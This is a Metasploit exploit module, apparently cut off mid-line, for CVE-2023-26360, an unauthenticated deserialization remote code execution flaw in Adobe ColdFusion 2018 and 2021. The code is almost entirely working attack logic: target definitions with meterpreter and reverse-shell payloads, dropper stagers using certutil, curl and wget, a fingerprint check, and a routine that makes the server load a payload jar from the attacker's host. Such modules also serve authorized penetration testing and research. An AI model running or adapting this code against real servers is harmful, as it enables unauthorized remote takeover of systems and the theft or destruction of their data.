##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Adobe ColdFusion Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits a remote unauthenticated deserialization of untrusted data vulnerability in Adobe
ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier, in
order to gain remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'sf', # MSF Exploit & Rapid7 Analysis
],
'References' => [
['CVE', '2023-26360'],
['URL', 'https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis']
],
'DisclosureDate' => '2023-03-14',
'Platform' => %w[java win linux unix],
'Arch' => [ARCH_JAVA, ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true, # Code execution as 'NT AUTHORITY\SYSTEM' on Windows and 'nobody' on Linux.
'WfsDelay' => 30,
'Targets' => [
[
'Generic Java',
{
'Type' => :java,
'Platform' => 'java',
'Arch' => [ ARCH_JAVA ],
'DefaultOptions' => {
'PAYLOAD' => 'java/meterpreter/reverse_tcp'
}
},
],
[
'Windows Command',
{
'Type' => :cmd,
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
},
],
[
'Windows Dropper',
{
'Type' => :dropper,
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'CmdStagerFlavor' => [ 'certutil', 'psh_invokewebrequest' ],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Type' => :cmd,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_perl'
}
},
],
[
'Linux Dropper',
{
'Type' => :dropper,
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'CmdStagerFlavor' => [ 'curl', 'wget', 'bourne', 'printf' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
# The following artifacts will be left on disk:
# The compiled CFML class generated from the poisoned coldfusion-out.log (Note: the hash number will vary)
# * Windows: C:\ColdFusion2021\cfusion\wwwroot\WEB-INF\cfclasses\cfcoldfusion2dout2elog376354580.class
# * Linux: /opt/ColdFusion2021/cfusion/wwwroot/WEB-INF/cfclasses/cfcoldfusion2dout2elog181815836.class
# If a dropper payload was used, a file with a random name may be left.
# * Windows: C:\Windows\Temp\XXXXXX.exe
# * Linux: /tmp/XXXXXX
ARTIFACTS_ON_DISK,
# The following logs will contain IOCs:
# C:\ColdFusion2021\cfusion\logs\coldfusion-out.log
# C:\ColdFusion2021\cfusion\logs\exception.log
# C:\ColdFusion2021\cfusion\logs\application.log
IOC_IN_LOGS
],
'RelatedModules' => [
'auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360'
]
}
)
)
register_options(
[
Opt::RPORT(8500),
OptString.new('URIPATH', [false, 'The URI to use for this exploit', '/']),
OptString.new('CFC_ENDPOINT', [true, 'The target ColdFusion Component (CFC) endpoint', '/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc']),
OptString.new('CF_LOGFILE', [true, 'The target log file, relative to the wwwroot folder.', '../logs/coldfusion-out.log'])
]
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/'
)
return CheckCode::Unknown('Connection failed') unless res
# We cannot identify the ColdFusion version through a generic technique. Instead we use the Recog fingerprint
# to match a ColdFusion cookie, and use this information to detect ColdFusion as being present.
# https://github.com/rapid7/recog/blob/main/xml/http_cookies.xml#L69
if res.get_cookies =~ /(CFCLIENT_[^=]+|CFGLOBALS|CFID|CFTOKEN)=|.cfusion/
return CheckCode::Detected('ColdFusion detected but version number is unknown.')
end
CheckCode::Unknown
end
def exploit
unless datastore['CFC_ENDPOINT'].end_with?('.cfc')
fail_with(Failure::BadConfig, 'The CFC_ENDPOINT must point to a .cfc file')
end
case target['Type']
when :java
# Start the HTTP server
start_service
# Trigger a loadClass request via java.net.URLClassLoader
trigger_urlclassloader
# Handle the payload...
handler
when :cmd
execute_command(payload.encoded)
when :dropper
execute_cmdstager
end
end
def on_request_uri(cli, _req)
if target['Type'] == :java
print_status('Received payload request, transmitting payload jar...')
send_response(cli, payload.encoded, {
'Content-Type' => 'application/java-archive',
'Connection' => 'close',
'Pragma' => 'no-cache'
})
else
super
end
end
def trigger_urlclassloader
# Here we construct a CFML payload to load a Java payload via URLClassLoader.
# NOTE: If our URL ends with / a XXX.class is loaded, if no trailing slash then a JAR is expected to be returned.
cf_url = Rex::Text.rand_text_alpha_lower(4)
srvhost = datastore['SRVHOST']
# Ensure SRVHOST is a routable IP address to our RHOST.
if Rex::Socket.addr_atoi(srvhost) == 0
srvhost = Rex::Socket.source_address(rhost)
end
# Create a URL pointing back to our HTTP server.
cfc_payload = "